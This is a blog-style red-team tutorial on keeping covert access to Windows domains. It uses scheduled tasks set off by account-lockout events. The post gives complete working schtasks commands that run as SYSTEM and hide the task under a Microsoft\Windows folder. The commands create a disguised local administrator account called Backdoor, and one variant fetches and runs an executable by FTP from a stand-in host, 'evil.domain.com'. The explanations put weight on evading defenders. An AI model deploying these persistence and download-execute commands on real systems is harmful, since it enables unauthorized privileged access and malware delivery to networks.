Well it's about time to get that white hat a little dirty.
None of this is original ideas, I've heard of this being done in theory of "oh, you know what would make a good persistence idea?" but I've never actually seen anything implement it. So I decided to do that.
*EDIT In fact this is exactly where I saw it first. SANS Wipe the HardDrive written by Mark Baggett and inspired by Jake Williams.
Let us take this from the metaphysical to the physical.
I was red teaming a bit for an experiential learning class. I needed to create a backup method of maintaining access to a domain. I didn't want anything running constantly, I didn't want to leave files on the disk.
I have been utilizing Event ID driven scheduled tasks at work for some monitoring and logging of service creation, user creation/deletion, users being added to security groups, little things that are really helpful to have an eye on and will give you a huge leg up in the event of malware infections and penetration incidents and just in general to have a better idea of what's going on in your domain. This is especially effective if you setup an event log gatherer and use subscriptions pushed out to all computers on the domain. Anyways, I decided to write a scheduled task that will trigger in the event of an account being locked out. This is something I can trigger externally from an OWA page, PPTP portal, corporate web page, anything that has a windows based login method that checks against AD.
So here's our command:
schtasks /create /tn "Microsoft\Windows\LocalEventLogRotate" /tr "\"cmd.exe\" /k net user Backdoor 1R3AlG00dP@55w0rd /add /y /active:yes >> nul & net localgroup administrators Backdoor /add > nul & net user Backdoor /comment:\"Built-in account for Backdooring your network suckers\" > nul & exit" /f /ru system /ec Security /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]"
Lets step through the command:
schtasks /create - Create a new scheduled task
/tn "Microsoft\Windows\LocalEventLogRotate" - The name of the task will be LocalEventLogRotate, but this is a bit interesting when I first found this out. In the modern Task Scheduler there are several subfolders that have tasks in them. Not very likely that someone is going to drill down into them to check for tasks. You can make the path whatever you want *needs citation and Task Scheduler will make the directory structure. Nifty right? So this task will show up in Microsoft\Windows sub folder. No point in making it really easy to find right?
/tr "\"cmd.exe\" /k net user Backdoor 1R3AlG00dP@55w0rd /add /y /active:yes > nul & net localgroup administrators
Backdoor /add > nul & net user Backdoor /comment:\"Built-in
account for Backdooring your network suckers\" > nul & exit" - This is the meat here, our command that will execute when the event occurs. So, double quotes are an issue that will need to be dealt with. We want cmd.exe to execute everything else as an argument so we need to enclose that in quotes, but we also have to have our arguments in quotes since there are spaces, but we can't just do this: "cmd.exe" "/k etc..." because then that's 2 different things and it will syntax error out as an invalid argument. So we need to escape wherever we have double quotes inside of the outer most double quotes with the \. Since we're going with the goal of not having extra files on the disk we need to make this command a one liner. In batch you can use the & sign to string commands together. & = run the following command no matter the success / failure of the previous command. && = run the following command ONLY if the previous command was successful. In this instance the command will create a user named Backdoor with password 1R3AlG00dP@55w0rd make sure the account is active (/active:yes). Also
note that if your password is going to be 14 characters or over you
need to add the /y command to the net user add otherwise it will hang
forever in purgatory waiting for a response. Bad thing to have happen to
your last resort backdoor. Then it adds that account to the local administrators group, then adds a comment to the user account to kind of disguise it a bit like the other built-in account windows creates. Take the extra time to make your stuff look like it belongs and it's more likely to get past the people hunting for it at first glance which may well provide you the extra 5 minutes you need to get the job done.
/f - Force the task to be created even if a task with the same name already exists.
/ru system - run as the SYSTEM user. This is important as if you don't have a valid account and password to use that's active you can't make the task run unless that user is logged in when it happens. Run as system = task executes every time the Event ID is triggered, not just when the user that created the task is logged in.
/sc onevent - When to execute the task, in this instance we want to have it execute when a particular event happens.
/ec Security - Which event log to follow to look for the Event ID in question. So if you need to follow a different Event ID and it occurs in the Application or System or whatever event log, you'll need to change that to match.
/mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]" - Modifier for the onevent trigger. This is were we define exactly what event we're looking for. It's kind of intuitive when you look at it. We're looking for EventID 4740 (user account locked out) logged by the Microsoft Windows Security Auditing provider. If you can't figure out how to modify that to be exactly what you want, open the event log, find the event you want to trigger on, right click, attach task to this event. skip though, choose execute a program, cmd.exe. Then go into Task Scheduler Library\Event Viewer Tasks, find your newly created task, right click it, export, save it, and open the XML file. Viola there's the exact string you need to copy there in the <Subscription> tag.
Cool, we have a task that will run and all we have to do is lockout any account on the target computer, or if we managed to install this on a DC any account on the domain.
....wait a minute, that's going to get executed more often than we may intend. That could be bad if you want it to stay under wraps until the trap is ready to spring. So how do we nail it down to if a SPECIFIC account gets locked out??
Our built-in friend wevtutil.exe is the man for the job here. Windows Event Utility can read through the event logs and output specific EventID selections. For this instance what we need to do is the following:
wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4740]"
qe security - query the security event log
/rd:true - reverse direction, read from newest to oldest
/F:text - output it in text format
/c:1 - Find only the last 1 events (most recent since we have rd set to true)
That will output the last instance of an account getting locked out. It will look something similar to this, in this instance it's from a domain controller, it will look very similar just different names on a non domain controller:
Event[0]:
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 2015-03-11T10:12:52.499
Event ID: 4740
Task: User Account Management
Level: Information
Opcode: Info
Keyword: Audit Success
User: N/A
User Name: N/A
Computer: Domain.Controller.fake.internal
Description:
A user account was locked out.
Subject:
Security ID: S-1-5-18
Account Name: Domain.Controller$
Account Domain: fake
Logon ID: 0x3e7
Account That Was Locked Out:
Security ID: S-1-5-21-561012550-38641HK9414-249823312-7894
Account Name: Backupexec
Additional Information:
Caller Computer Name: Someserverorworkstation
Okay, that's a lot of info but we really only need the Account Name. So we pipe it to find:
wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4740]" | find /i "account name"
oh wait there's 2 account names in that file, happily since the one we're looking for is the last one we don't have to get into any tricky stuff as that one will decide the errorlevel.
Then we end up with just:
Account Name: Backupexec
Then we can do another pass to find the specific account we're looking for
wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4740]" | find /i "account name" | find /i "triggeraccount"
Now would be a good moment to mention the 261 character limit, spaces included, for the /TR option of a scheduled task. Always with the restrictions..... no rest for the wicked.
So we have to get that cut down a bit if we want to keep everything in just the task run option and not write extra stuff to disk. Lets cut out the net user comment part and nix the nul's.
So we end up with this here:
schtasks /create /tn "Microsoft\Windows\LocalEventLogRotate" /tr "\"cmd.exe\" /k wevtutil qe security /rd:true /f:text /c:1 /q:\"*[System/EventID=4740]\" | find /i \"Account Name:\" | find /i \"triggername\" && net user Backdoor 1R3AlG00dP@55w0rd /add /y /active:yes & net localgroup administrators Backdoor /add & exit" /f /ru system /ec Security /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]"
We use our && command (&& = only execute if the previous command was successful) to continue execution if the triggeraccount name is found. We're sitting at a cool 256 characters for the /TR. We're doing good, targeted triggering, creating a user, adding to an administration group.
Having an account is cool, but if we don't have access to the server we're stuck looking through the window from the outside, no fun at all. We can do better.
Alright, same parameters as before, but we're going to bend the rule slightly about writing files to disk. We'll do a one liner FTP command to retrieve and execute a file. I used some formatting tricks to shoehorn everything in here.
schtasks /create /tn "Microsoft\Windows\LocalEventLogRotate" /tr "\"cmd.exe\" /k set &wevtutil qe security /rd:true /f:text /c:1 /q:\"*[System/EventID=4740]\" | find /i \"bob\" &&echo user username> f&echo password>>f&echo bin>>f&echo get i.exe>>f&echo quit>>f&ftp -n -s:f evil.domain.com&start \"\" i.exe&exit" /f /ru system /ec Security /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]"
We start out the same as before, querying the event log for the most recent locked account and see if it's our good friend bob. Then we set out to writing out our FTP script. Using a couple space cheats and short file names we manage to squeeze everything in. Note that you don't need spaces before or after an & or before or after the append >>. that saves us a bunch of characters which ends up being kind of a big deal since we're limited to 261 characters. Using a single letter for the FTP script file name (f) saves us more space.
Pretty slick right? What else can we do...
Run a task whenever a particular user logs out, change an accounts password back every time the password gets changed, setup a backdoor account if you get locked out / deleted, whatever windows creates an event for, you can create a task for. Your only limits are how specific you want execution to be and 261 characters. Other than that, the world is yours.